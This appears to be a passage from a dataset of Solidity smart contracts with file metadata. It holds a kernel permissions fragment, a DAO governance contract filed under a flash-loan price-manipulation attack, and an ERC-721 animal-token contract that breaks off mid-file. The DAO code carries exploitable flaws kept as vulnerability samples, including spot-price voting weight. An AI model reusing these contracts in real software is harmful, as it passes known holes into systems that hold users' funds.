Permissions[] memory requests_,
bool grant_) internal {
uint256 reqLength = requests_.length;
for (uint256 i = 0; i < reqLength;) {
Permissions memory request = requests_[i];
modulePermissions[request.keycode][policy_][request.funcSelector] = grant_;
emit PermissionsUpdated(request.keycode, policy_, request.funcSelector, grant_);
unchecked {
++i;
}
}
}
function _pruneFromDependents(Policy policy_) internal {
bytes5[] memory dependencies = policy_.configureDependencies();
uint256 depcLength = dependencies.length;
for (uint256 i; i < depcLength;) {
bytes5 keycode = dependencies[i];
Policy[] storage dependents = moduleDependents[keycode];
uint256 origIndex = getDependentIndex[keycode][policy_];
Policy lastPolicy = dependents[dependents.length - 1];
// Swap with last and pop
dependents[origIndex] = lastPolicy;
dependents.pop();
// Record new index and delete terminated policy index
getDependentIndex[keycode][lastPolicy] = origIndex;
delete getDependentIndex[keycode][policy_];
unchecked {
++i;
}
}
}
function grantRole(bytes32 role_, address addr_) public onlyAdmin {
if (hasRole[addr_][role_]) revert Kernel_AddressAlreadyHasRole(addr_, role_);
ensureValidRole(role_);
if (!isRole[role_]) isRole[role_] = true;
hasRole[addr_][role_] = true;
emit RoleGranted(role_, addr_);
}
function revokeRole(bytes32 role_, address addr_) public onlyAdmin {
if (!isRole[role_]) revert Kernel_RoleDoesNotExist(role_);
if (!hasRole[addr_][role_]) revert Kernel_AddressDoesNotHaveRole(addr_, role_);
hasRole[addr_][role_] = false;
emit RoleRevoked(role_, addr_);
}
}
interface IInstructions {
event InstructionsStored(uint256 instructionsId);
error INSTR_InstructionsCannotBeEmpty();
error INSTR_InvalidChangeExecutorAction();
error INSTR_InvalidTargetNotAContract();
error INSTR_InvalidModuleKeycode();
}
contract Instructions is Module, IInstructions {
/////////////////////////////////////////////////////////////////////////////////
// Kernel Module Configuration //
/////////////////////////////////////////////////////////////////////////////////
constructor(Kernel kernel_) Module(kernel_) {}
/// @inheritdoc Module
function KEYCODE() public pure override returns (bytes5) {
return "INSTR";
}
/// @inheritdoc Module
function VERSION() external pure override returns (uint8 major, uint8 minor) {
return (1, 0);
}
/////////////////////////////////////////////////////////////////////////////////
// Module Variables //
/////////////////////////////////////////////////////////////////////////////////
uint256 public totalInstructions;
mapping(uint256 => Instruction[]) public storedInstructions;
/////////////////////////////////////////////////////////////////////////////////
// Policy Interface //
/////////////////////////////////////////////////////////////////////////////////
// view function for retrieving a list of instructions in an outside contract
function getInstructions(uint256 instructionsId_) public view returns (Instruction[] memory) {
return storedInstructions[instructionsId_];
}
function store(Instruction[] calldata instructions_) external permissioned returns (uint256) {
uint256 length = instructions_.length;
uint256 instructionsId = ++totalInstructions;
// initialize an empty list of instructions that will be filled
Instruction[] storage instructions = storedInstructions[instructionsId];
// if there are no instructions, throw an error
if (length == 0) {
revert INSTR_InstructionsCannotBeEmpty();
}
// for each instruction, do the following actions:
for (uint256 i; i < length;) {
// get the instruction
Instruction calldata instruction = instructions_[i];
// check the address that the instruction is being performed on is a contract (bytecode size > 0)
if (instruction.target.code.length == 0) revert INSTR_InvalidTargetNotAContract();
if (instruction.action == Actions.InstallModule || instruction.action == Actions.UpgradeModule) {
Module module = Module(instruction.target);
_ensureValidKeycode(module.KEYCODE());
} else if (instruction.action == Actions.ChangeExecutor && i != length - 1) {
// throw an error if ChangeExecutor exists and is not the last Action in the instruction llist
// this exists because if ChangeExecutor is not the last item in the list of instructions
// the Kernel will not recognize any of the following instructions as valid, since the policy
// executing the list of instructions no longer has permissions in the Kernel. To avoid this issue
// and prevent invalid proposals from being saved, we perform this check.
revert INSTR_InvalidChangeExecutorAction();
}
instructions.push(instructions_[i]);
unchecked {
++i;
}
}
emit InstructionsStored(instructionsId);
return instructionsId;
}
/////////////////////////////// INTERNAL FUNCTIONS ////////////////////////////////
function _ensureValidKeycode(bytes5 keycode_) internal pure {
for (uint256 i = 0; i < 5;) {
bytes1 char = keycode_[i];
if (char < 0x41 || char > 0x5A) revert INSTR_InvalidModuleKeycode(); // A-Z only"
unchecked {
i++;
}
}
}
}
| 50,646 | 12,258 |
a08abf6e9b72bd638ac851c1e7b7bf6e0ebe1879fe4fac6b837b69362f33cf22
| 23,234 |
.sol
|
Solidity
| false |
492670100
|
Messi-Q/DeFi-Protocol
|
ce2661ef6bbb7810544bb619b6687e7228df8491
|
Decentralized Exchange/FlashLoan Attack/Price Manipulation Attack/spartanswap/spartanswap-contracts-master/V1SP/Dao.sol
| 5,694 | 23,106 |
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.3;
pragma experimental ABIEncoderV2;
interface iBEP20 {
function totalSupply() external view returns (uint);
function balanceOf(address) external view returns (uint);
function transfer(address, uint) external returns (bool);
function transferFrom(address, address, uint) external returns (bool);
}
interface iROUTER {
function isPool(address) external view returns(bool);
}
interface iPOOL {
function TOKEN() external view returns(address);
function transferTo(address, uint) external returns (bool);
}
interface iUTILS {
function calcShare(uint, uint, uint) external pure returns (uint);
function getPoolShare(address, uint) external view returns(uint);
}
interface iBASE {
function secondsPerEra() external view returns (uint);
function changeIncentiveAddress(address) external returns(bool);
function changeDAO(address) external returns(bool);
function changeEmissionCurve(uint256) external returns(bool);
function changeEraDuration(uint256) external returns(bool);
function listAsset(address, uint256, uint256) external returns(bool);
function delistAsset(address) external returns(bool);
function startEmissions() external returns(bool);
function stopEmissions() external returns(bool);
}
// SafeMath
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract DaoM {
using SafeMath for uint;
address public DEPLOYER;
address public BASE;
uint256 public totalWeight;
uint public one = 10**18;
uint public coolOffPeriod;
uint public secondsPerEra;
uint public erasToEarn;
uint public proposalCount;
struct ListDetails{
address asset;
uint claimRate;
uint allocation;
}
struct GrantDetails{
address recipient;
uint amount;
}
struct MemberDetails {
bool isMember;
uint weight;
uint lastBlock;
uint poolCount;
}
struct ProposalDetails {
uint id;
string proposalType;
uint votes;
uint timeStart;
bool finalising;
bool finalised;
uint param;
address proposedAddress;
ListDetails list;
}
bool public daoHasMoved;
address public DAO;
iROUTER private _ROUTER;
iUTILS private _UTILS;
address[] public arrayMembers;
mapping(address => bool) public isMember; // Is Member
mapping(address => mapping(address => uint256)) public mapMemberPool_balance; // Member's balance in pool
mapping(address => uint256) public mapMember_weight; // Value of weight
mapping(address => mapping(address => uint256)) public mapMemberPool_weight; // Value of weight for pool
mapping(address => uint256) public mapMember_lastTime;
mapping(address => address[]) public mapMember_poolArray;
mapping(uint256 => uint256) public mapPID_param;
mapping(uint256 => address) public mapPID_address;
mapping(uint256 => ListDetails) public mapPID_list;
mapping(uint256 => GrantDetails) public mapPID_grant;
mapping(uint256 => string) public mapPID_type;
mapping(uint256 => uint256) public mapPID_votes;
mapping(uint256 => uint256) public mapPID_timeStart;
mapping(uint256 => bool) public mapPID_finalising;
mapping(uint256 => bool) public mapPID_finalised;
mapping(uint256 => mapping(address => uint256)) public mapPIDMember_votes;
event MemberDeposits(address indexed member,address indexed pool,uint256 amount, uint256 weight);
event MemberWithdraws(address indexed member,address indexed pool,uint256 balance);
event WeightChange(address indexed member, uint256 weight, uint256 totalWeight);
event NewProposal(address indexed member, uint indexed proposalID, string proposalType);
event NewVote(address indexed member, uint indexed proposalID, uint voteWeight, uint totalVotes, string proposalType);
event ProposalFinalising(address indexed member,uint indexed proposalID, uint timeFinalised, string proposalType);
event CancelProposal(address indexed member, uint indexed oldProposalID, uint oldVotes, uint newVotes, uint totalWeight);
event FinalisedProposal(address indexed member,uint indexed proposalID, uint votesCast, uint totalWeight, string proposalType);
// Only Deployer can execute
modifier onlyDeployer() {
require(msg.sender == DEPLOYER, "DeployerErr");
_;
}
constructor (address _base) public payable {
BASE = _base;
DEPLOYER = msg.sender;
coolOffPeriod = 1;
erasToEarn = 30;
secondsPerEra = iBASE(BASE).secondsPerEra();
}
function setGenesisAddresses(address _router, address _utils) public onlyDeployer {
_ROUTER = iROUTER(_router);
_UTILS = iUTILS(_utils);
}
function setGenesisFactors(uint _coolOff, uint _daysToEarn) public onlyDeployer {
coolOffPeriod = _coolOff;
erasToEarn = _daysToEarn;
}
function purgeDeployer() public onlyDeployer {
DEPLOYER = address(0);
}
//============================== USER - DEPOSIT/WITHDRAW ================================//
// Member deposits some LP tokens
function deposit(address pool, uint256 amount) public {
depositForMember(pool, amount, msg.sender);
}
// Contract deposits some LP tokens for member
function depositForMember(address pool, uint256 amount, address member) public {
require(_ROUTER.isPool(pool) == true, "Must be listed");
require(amount > 0, "Must get some");
if (!isMember[member]) {
mapMember_lastTime[member] = block.timestamp;
arrayMembers.push(msg.sender);
isMember[member] = true;
}
require(iPOOL(pool).transferTo(address(this), amount),"Must transfer"); // LP tokens return bool
mapMemberPool_balance[member][pool] = mapMemberPool_balance[member][pool].add(amount); // Record total pool balance for member
uint weight = increaseWeight(pool, member);
emit MemberDeposits(member, pool, amount, weight);
}
// Anyone can update a member's weight, which is their claim on the BASE in the associated pool
function increaseWeight(address pool, address member) public returns(uint){
require(isMember[member], "Must be member");
if(mapMemberPool_weight[member][pool] > 0){ // Remove previous weights
totalWeight = totalWeight.sub(mapMemberPool_weight[member][pool]);
mapMember_weight[member] = mapMember_weight[member].sub(mapMemberPool_weight[member][pool]);
mapMemberPool_weight[member][pool] = 0;
} else {
mapMember_poolArray[member].push(pool);
}
uint weight = _UTILS.getPoolShare(iPOOL(pool).TOKEN(), mapMemberPool_balance[member][pool]); // Get claim on BASE in pool
mapMemberPool_weight[member][pool] = weight;
mapMember_weight[member] = mapMember_weight[member].add(weight);
totalWeight = totalWeight.add(weight);
emit WeightChange(member, weight, totalWeight);
return weight;
}
// Member withdraws all from a pool
function withdraw(address pool) public {
uint256 balance = mapMemberPool_balance[msg.sender][pool];
require(balance > 0, "Must have a balance");
decreaseWeight(pool, msg.sender);
if(mapMember_weight[msg.sender] == 0 && iBEP20(BASE).balanceOf(address(this)) > 0){
harvest();
}
require(iBEP20(pool).transfer(msg.sender, balance), "Must transfer"); // Then transfer
emit MemberWithdraws(msg.sender, pool, balance);
}
function decreaseWeight(address pool, address member) internal {
uint weight = mapMemberPool_weight[member][pool];
mapMemberPool_balance[member][pool] = 0; // Zero out balance
mapMemberPool_weight[member][pool] = 0; // Zero out weight
totalWeight = totalWeight.sub(weight); // Remove that weight
mapMember_weight[member] = mapMember_weight[member].sub(weight); // Reduce weight
emit WeightChange(member, weight, totalWeight);
}
//============================== REWARDS ================================//
// Rewards
function harvest() public {
uint reward = calcCurrentReward(msg.sender);
mapMember_lastTime[msg.sender] = block.timestamp;
iBEP20(BASE).transfer(msg.sender, reward);
}
function calcCurrentReward(address member) public view returns(uint){
uint secondsSinceClaim = block.timestamp.sub(mapMember_lastTime[member]); // Get time since last claim
uint share = calcReward(member); // get share of rewards for member
uint reward = share.mul(secondsSinceClaim).div(secondsPerEra); // Get owed amount, based on per-day rates
uint reserve = iBEP20(BASE).balanceOf(address(this));
if(reward >= reserve) {
reward = reserve; // Send full reserve if the last person
}
return reward;
}
function calcReward(address member) public view returns(uint){
uint weight = mapMember_weight[member];
uint reserve = iBEP20(BASE).balanceOf(address(this)).div(erasToEarn); // Aim to deplete reserve over a number of days
return _UTILS.calcShare(weight, totalWeight, reserve); // Get member's share of that
}
//============================== CREATE PROPOSALS ================================//
// New ID, but specify type, one type for each function call
// Votes counted to IDs
// IDs are finalised
// IDs are executed, but type specifies unique logic
// Simple Action Call
function newActionProposal(string memory typeStr) public returns(uint) {
proposalCount += 1;
mapPID_type[proposalCount] = typeStr;
emit NewProposal(msg.sender, proposalCount, typeStr);
return proposalCount;
}
// Action with uint parameter
function newParamProposal(uint param, string memory typeStr) public returns(uint) {
proposalCount += 1;
mapPID_param[proposalCount] = param;
mapPID_type[proposalCount] = typeStr;
emit NewProposal(msg.sender, proposalCount, typeStr);
return proposalCount;
}
// Action with address parameter
function newAddressProposal(address proposedAddress, string memory typeStr) public returns(uint) {
proposalCount += 1;
mapPID_address[proposalCount] = proposedAddress;
mapPID_type[proposalCount] = typeStr;
emit NewProposal(msg.sender, proposalCount, typeStr);
return proposalCount;
}
// Action with list parameter
function newListProposal(address asset, uint256 claimRate, uint256 allocation) public returns(uint) {
string memory typeStr = "LIST";
proposalCount += 1;
mapPID_type[proposalCount] = typeStr;
ListDetails memory list;
list.asset = asset;
list.claimRate = claimRate;
list.allocation = allocation;
mapPID_list[proposalCount] = list;
emit NewProposal(msg.sender, proposalCount, typeStr);
return proposalCount;
}
// Action with funding
function newGrantProposal(address recipient, uint amount) public returns(uint) {
string memory typeStr = "GRANT";
proposalCount += 1;
mapPID_type[proposalCount] = typeStr;
GrantDetails memory grant;
grant.recipient = recipient;
grant.amount = amount;
mapPID_grant[proposalCount] = grant;
emit NewProposal(msg.sender, proposalCount, typeStr);
return proposalCount;
}
//============================== VOTE && FINALISE ================================//
// Vote for a proposal
function voteProposal(uint proposalID) public returns (uint voteWeight) {
bytes memory _type = bytes(mapPID_type[proposalID]);
voteWeight = countVotes(proposalID);
if(hasQuorum(proposalID) && mapPID_finalising[proposalID] == false){
if(isEqual(_type, 'DAO') || isEqual(_type, 'UTILS') || isEqual(_type, 'INCENTIVE')){
if(hasMajority(proposalID)){
_finalise(proposalID);
}
} else {
_finalise(proposalID);
}
}
emit NewVote(msg.sender, proposalID, voteWeight, mapPID_votes[proposalID], string(_type));
}
function _finalise(uint _proposalID) internal {
bytes memory _type = bytes(mapPID_type[_proposalID]);
mapPID_finalising[_proposalID] = true;
mapPID_timeStart[_proposalID] = block.timestamp;
emit ProposalFinalising(msg.sender, _proposalID, block.timestamp+coolOffPeriod, string(_type));
}
// If an existing proposal, allow a minority to cancel
function cancelProposal(uint oldProposalID, uint newProposalID) public {
require(mapPID_finalising[oldProposalID], "Must be finalising");
require(hasMinority(newProposalID), "Must have minority");
require(isEqual(bytes(mapPID_type[oldProposalID]), bytes(mapPID_type[newProposalID])), "Must be same");
mapPID_votes[oldProposalID] = 0;
emit CancelProposal(msg.sender, oldProposalID, mapPID_votes[oldProposalID], mapPID_votes[newProposalID], totalWeight);
}
// Proposal with quorum can finalise after cool off period
function finaliseProposal(uint proposalID) public {
require((block.timestamp - mapPID_timeStart[proposalID]) > coolOffPeriod, "Must be after cool off");
require(mapPID_finalising[proposalID] == true, "Must be finalising");
if(!hasQuorum(proposalID)){
mapPID_finalising[proposalID] = false;
}
bytes memory _type = bytes(mapPID_type[proposalID]);
if(isEqual(_type, 'DAO')){
moveDao(proposalID);
} else if (isEqual(_type, 'ROUTER')) {
moveRouter(proposalID);
} else if (isEqual(_type, 'UTILS')){
moveUtils(proposalID);
} else if (isEqual(_type, 'INCENTIVE')){
moveIncentiveAddress(proposalID);
} else if (isEqual(_type, 'LIST')){
listAsset(proposalID);
} else if (isEqual(_type, 'DELIST')){
delistAsset(proposalID);
} else if (isEqual(_type, 'CURVE')){
changeCurve(proposalID);
} else if (isEqual(_type, 'DURATION')){
changeDuration(proposalID);
} else if (isEqual(_type, 'START_EMISSIONS')){
startEmissions(proposalID);
} else if (isEqual(_type, 'STOP_EMISSIONS')){
stopEmissions(proposalID);
} else if (isEqual(_type, 'COOL_OFF')){
changeCooloff(proposalID);
} else if (isEqual(_type, 'ERAS_TO_EARN')){
changeEras(proposalID);
} else if (isEqual(_type, 'GRANT')){
grantFunds(proposalID);
}
}
function moveDao(uint _proposalID) internal {
address _proposedAddress = mapPID_address[_proposalID];
require(_proposedAddress != address(0), "No address proposed");
DAO = mapPID_address[_proposalID];
iBASE(BASE).changeDAO(_proposedAddress);
uint reserve = iBEP20(BASE).balanceOf(address(this));
iBEP20(BASE).transfer(_proposedAddress, reserve);
daoHasMoved = true;
completeProposal(_proposalID);
}
function moveRouter(uint _proposalID) internal {
address _proposedAddress = mapPID_address[_proposalID];
require(_proposedAddress != address(0), "No address proposed");
_ROUTER = iROUTER(_proposedAddress);
completeProposal(_proposalID);
}
function moveUtils(uint _proposalID) internal {
address _proposedAddress = mapPID_address[_proposalID];
require(_proposedAddress != address(0), "No address proposed");
_UTILS = iUTILS(_proposedAddress);
completeProposal(_proposalID);
}
function moveIncentiveAddress(uint _proposalID) internal {
address _proposedAddress = mapPID_address[_proposalID];
require(_proposedAddress != address(0), "No address proposed");
iBASE(BASE).changeIncentiveAddress(_proposedAddress);
completeProposal(_proposalID);
}
function listAsset(uint _proposalID) internal {
ListDetails memory _list = mapPID_list[_proposalID];
require(iBEP20(BASE).totalSupply() <= 100 * 10**6 * one, "Must not list over 100m");
require(_list.claimRate.mul(_list.allocation) <= 10 * 10**6 * one, "Must not list over 10m");
iBASE(BASE).listAsset(_list.asset, _list.claimRate, _list.allocation);
completeProposal(_proposalID);
}
function delistAsset(uint _proposalID) internal {
address _proposedAddress = mapPID_address[_proposalID];
require(_proposedAddress != address(0), "No address proposed");
iBASE(BASE).delistAsset(_proposedAddress);
completeProposal(_proposalID);
}
function changeCurve(uint _proposalID) internal {
uint _proposedParam = mapPID_param[_proposalID];
require(_proposedParam != 0, "No param proposed");
iBASE(BASE).changeEmissionCurve(_proposedParam);
completeProposal(_proposalID);
}
function changeDuration(uint _proposalID) internal {
uint _proposedParam = mapPID_param[_proposalID];
require(_proposedParam != 0, "No param proposed");
iBASE(BASE).changeEraDuration(_proposedParam);
secondsPerEra = iBASE(BASE).secondsPerEra();
completeProposal(_proposalID);
}
function startEmissions(uint _proposalID) internal {
iBASE(BASE).startEmissions();
completeProposal(_proposalID);
}
function stopEmissions(uint _proposalID) internal {
iBASE(BASE).stopEmissions();
completeProposal(_proposalID);
}
function changeCooloff(uint _proposalID) internal {
uint _proposedParam = mapPID_param[_proposalID];
require(_proposedParam != 0, "No param proposed");
coolOffPeriod = _proposedParam;
completeProposal(_proposalID);
}
function changeEras(uint _proposalID) internal {
uint _proposedParam = mapPID_param[_proposalID];
require(_proposedParam != 0, "No param proposed");
erasToEarn = _proposedParam;
completeProposal(_proposalID);
}
function grantFunds(uint _proposalID) internal {
GrantDetails memory _grant = mapPID_grant[_proposalID];
require(_grant.amount <= iBEP20(BASE).balanceOf(address(this)), "Not more than balance");
completeProposal(_proposalID);
iBEP20(BASE).transfer(_grant.recipient, _grant.amount);
}
function completeProposal(uint _proposalID) internal {
string memory _typeStr = mapPID_type[_proposalID];
emit FinalisedProposal(msg.sender, _proposalID, mapPID_votes[_proposalID], totalWeight, _typeStr);
mapPID_votes[_proposalID] = 0;
mapPID_finalised[_proposalID] = true;
mapPID_finalising[_proposalID] = false;
}
//============================== CONSENSUS ================================//
function countVotes(uint _proposalID) internal returns (uint voteWeight){
mapPID_votes[_proposalID] = mapPID_votes[_proposalID].sub(mapPIDMember_votes[_proposalID][msg.sender]);
voteWeight = mapMember_weight[msg.sender];
mapPID_votes[_proposalID] += voteWeight;
mapPIDMember_votes[_proposalID][msg.sender] = voteWeight;
return voteWeight;
}
function hasMajority(uint _proposalID) public view returns(bool){
uint votes = mapPID_votes[_proposalID];
uint consensus = totalWeight.div(2); // >50%
if(votes > consensus){
return true;
} else {
return false;
}
}
function hasQuorum(uint _proposalID) public view returns(bool){
uint votes = mapPID_votes[_proposalID];
uint consensus = totalWeight.div(3); // >33%
if(votes > consensus){
return true;
} else {
return false;
}
}
function hasMinority(uint _proposalID) public view returns(bool){
uint votes = mapPID_votes[_proposalID];
uint consensus = totalWeight.div(6); // >16%
if(votes > consensus){
return true;
} else {
return false;
}
}
//============================== ROUTER && UTILS ================================//
function ROUTER() public view returns(iROUTER){
if(daoHasMoved){
return DaoM(DAO).ROUTER();
} else {
return _ROUTER;
}
}
function UTILS() public view returns(iUTILS){
if(daoHasMoved){
return DaoM(DAO).UTILS();
} else {
return _UTILS;
}
}
//============================== HELPERS ================================//
function memberCount() public view returns(uint){
return arrayMembers.length;
}
function getMemberDetails(address member) public view returns (MemberDetails memory memberDetails){
memberDetails.isMember = isMember[member];
memberDetails.weight = mapMember_weight[member];
memberDetails.lastBlock = mapMember_lastTime[member];
memberDetails.poolCount = mapMember_poolArray[member].length;
return memberDetails;
}
function getProposalDetails(uint proposalID) public view returns (ProposalDetails memory proposalDetails){
proposalDetails.id = proposalID;
proposalDetails.proposalType = mapPID_type[proposalID];
proposalDetails.votes = mapPID_votes[proposalID];
proposalDetails.timeStart = mapPID_timeStart[proposalID];
proposalDetails.finalising = mapPID_finalising[proposalID];
proposalDetails.finalised = mapPID_finalised[proposalID];
proposalDetails.param = mapPID_param[proposalID];
proposalDetails.proposedAddress = mapPID_address[proposalID];
proposalDetails.list = mapPID_list[proposalID];
return proposalDetails;
}
function isEqual(bytes memory part1, bytes memory part2) public pure returns(bool){
if(sha256(part1) == sha256(part2)){
return true;
} else {
return false;
}
}
}
| 70,570 | 12,259 |
8613efb05530689cef116bda38b65e3d435f48968f29f118dd80580df690d77e
| 14,539 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x87360ae69f75e3a8b19c131dc01f4e0d2fc8c6b9.sol
| 3,783 | 13,691 |
pragma solidity ^0.4.18; // solhint-disable-line
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <dete@axiomzen.co> (https://github.com/dete)
contract ERC721 {
// Required methods
function approve(address _to, uint256 _tokenId) public;
function balanceOf(address _owner) public view returns (uint256 balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint256 _tokenId) public view returns (address addr);
function takeOwnership(uint256 _tokenId) public;
function totalSupply() public view returns (uint256 total);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event Approval(address indexed owner, address indexed approved, uint256 tokenId);
// Optional
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokenMetadata(uint256 _tokenId) public view returns (string infoUrl);
}
contract EtherAnimals is ERC721 {
/// @dev The Birth event is fired whenever a new Gem comes into existence.
event Birth(uint256 tokenId, string name, address owner);
/// @dev The TokenSold event is fired whenever a token is sold.
event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, string name);
/// @dev Transfer event as defined in current draft of ERC721.
/// ownership is assigned, including births.
event Transfer(address from, address to, uint256 tokenId);
/// @notice Name and symbol of the non fungible token, as defined in ERC721.
string public constant NAME = "EtherAnimals"; // solhint-disable-line
string public constant SYMBOL = "AnimalToken"; // solhint-disable-line
uint256 private startingPrice = 0.001 ether;
uint256 private constant PROMO_CREATION_LIMIT = 10000;
uint256 private firstStepLimit = 0.053613 ether;
uint256 private secondStepLimit = 0.564957 ether;
/// @dev A mapping from gem IDs to the address that owns them. All gems have
/// some valid owner address.
mapping (uint256 => address) public gemIndexToOwner;
// @dev A mapping from owner address to count of tokens that address owns.
// Used internally inside balanceOf() to resolve ownership count.
mapping (address => uint256) private ownershipTokenCount;
/// @dev A mapping from GemIDs to an address that has been approved to call
/// transferFrom(). Each Gem can only have one approved address for transfer
/// at any time. A zero value means no approval is outstanding.
mapping (uint256 => address) public gemIndexToApproved;
// @dev A mapping from GemIDs to the price of the token.
mapping (uint256 => uint256) private gemIndexToPrice;
// The addresses of the accounts (or contracts) that can execute actions within each roles.
address public ceoAddress;
address public cooAddress;
uint256 public promoCreatedCount;
struct Gem {
string name;
}
Gem[] private gems;
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
/// @dev Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
/// Access modifier for contract owner only functionality
modifier onlyCLevel() {
require(msg.sender == ceoAddress ||
msg.sender == cooAddress);
_;
}
function EtherAnimals() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
/// @notice Grant another address the right to transfer token via takeOwnership() and transferFrom().
/// @param _to The address to be granted transfer approval. Pass address(0) to
/// clear all approvals.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function approve(address _to,
uint256 _tokenId) public {
// Caller must own token.
require(_owns(msg.sender, _tokenId));
gemIndexToApproved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
/// For querying balance of a particular account
/// @param _owner The address for balance query
/// @dev Required for ERC-721 compliance.
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownershipTokenCount[_owner];
}
function createPromoNumber(address _owner, string _name, uint256 _price) public onlyCOO {
require(promoCreatedCount < PROMO_CREATION_LIMIT);
address personOwner = _owner;
if (personOwner == address(0)) {
personOwner = cooAddress;
}
if (_price <= 0) {
_price = startingPrice;
}
promoCreatedCount++;
_createGem(_name, personOwner, _price);
}
/// @dev Creates a new Gem with the given name.
function createContractGem(string _name) public onlyCLevel {
_createGem(_name, address(this), startingPrice);
}
/// @notice Returns all the relevant information about a specific gem.
/// @param _tokenId The tokenId of the gem of interest.
function getGem(uint256 _tokenId) public view returns (string gemName,
uint256 sellingPrice,
address owner) {
Gem storage gem = gems[_tokenId];
gemName = gem.name;
sellingPrice = gemIndexToPrice[_tokenId];
owner = gemIndexToOwner[_tokenId];
}
function implementsERC721() public pure returns (bool) {
return true;
}
/// @dev Required for ERC-721 compliance.
function name() public pure returns (string) {
return NAME;
}
/// For querying owner of token
/// @param _tokenId The tokenID for owner inquiry
/// @dev Required for ERC-721 compliance.
function ownerOf(uint256 _tokenId)
public
view
returns (address owner)
{
owner = gemIndexToOwner[_tokenId];
require(owner != address(0));
}
function payout(address _to) public onlyCLevel {
_payout(_to);
}
// Allows someone to send ether and obtain the token
function purchase(uint256 _tokenId) public payable {
address oldOwner = gemIndexToOwner[_tokenId];
address newOwner = msg.sender;
uint256 sellingPrice = gemIndexToPrice[_tokenId];
// Making sure token owner is not sending to self
require(oldOwner != newOwner);
// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure sent amount is greater than or equal to the sellingPrice
require(msg.value >= sellingPrice);
uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 92), 100));
uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice);
// Update prices
if (sellingPrice < firstStepLimit) {
// first stage
gemIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 200), 92);
} else if (sellingPrice < secondStepLimit) {
// second stage
gemIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 120), 92);
} else {
// third stage
gemIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 115), 92);
}
_transfer(oldOwner, newOwner, _tokenId);
// Pay previous tokenOwner if owner is not contract
if (oldOwner != address(this)) {
oldOwner.transfer(payment); //(1-0.08)
}
TokenSold(_tokenId, sellingPrice, gemIndexToPrice[_tokenId], oldOwner, newOwner, gems[_tokenId].name);
msg.sender.transfer(purchaseExcess);
}
function priceOf(uint256 _tokenId) public view returns (uint256 price) {
return gemIndexToPrice[_tokenId];
}
/// @dev Assigns a new address to act as the CEO. Only available to the current CEO.
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
/// @dev Assigns a new address to act as the COO. Only available to the current COO.
/// @param _newCOO The address of the new COO
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
/// @dev Required for ERC-721 compliance.
function symbol() public pure returns (string) {
return SYMBOL;
}
/// @notice Allow pre-approved user to take ownership of a token
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function takeOwnership(uint256 _tokenId) public {
address newOwner = msg.sender;
address oldOwner = gemIndexToOwner[_tokenId];
// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure transfer is approved
require(_approved(newOwner, _tokenId));
_transfer(oldOwner, newOwner, _tokenId);
}
/// @param _owner The owner whose celebrity tokens we are interested in.
/// @dev This method MUST NEVER be called by smart contract code. First, it's fairly
/// expensive (it walks the entire Gems array looking for gems belonging to owner),
/// but it also returns a dynamic array, which is only supported for web3 calls, and
/// not contract-to-contract calls.
function tokensOfOwner(address _owner) public view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalGems = totalSupply();
uint256 resultIndex = 0;
uint256 gemId;
for (gemId = 0; gemId <= totalGems; gemId++) {
if (gemIndexToOwner[gemId] == _owner) {
result[resultIndex] = gemId;
resultIndex++;
}
}
return result;
}
}
/// For querying totalSupply of token
/// @dev Required for ERC-721 compliance.
function totalSupply() public view returns (uint256 total) {
return gems.length;
}
/// Owner initates the transfer of the token to another account
/// @param _to The address for the token to be transferred to.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function transfer(address _to,
uint256 _tokenId) public {
require(_owns(msg.sender, _tokenId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _tokenId);
}
/// Third-party initiates transfer of token from address _from to address _to
/// @param _from The address for the token to be transferred from.
/// @param _to The address for the token to be transferred to.
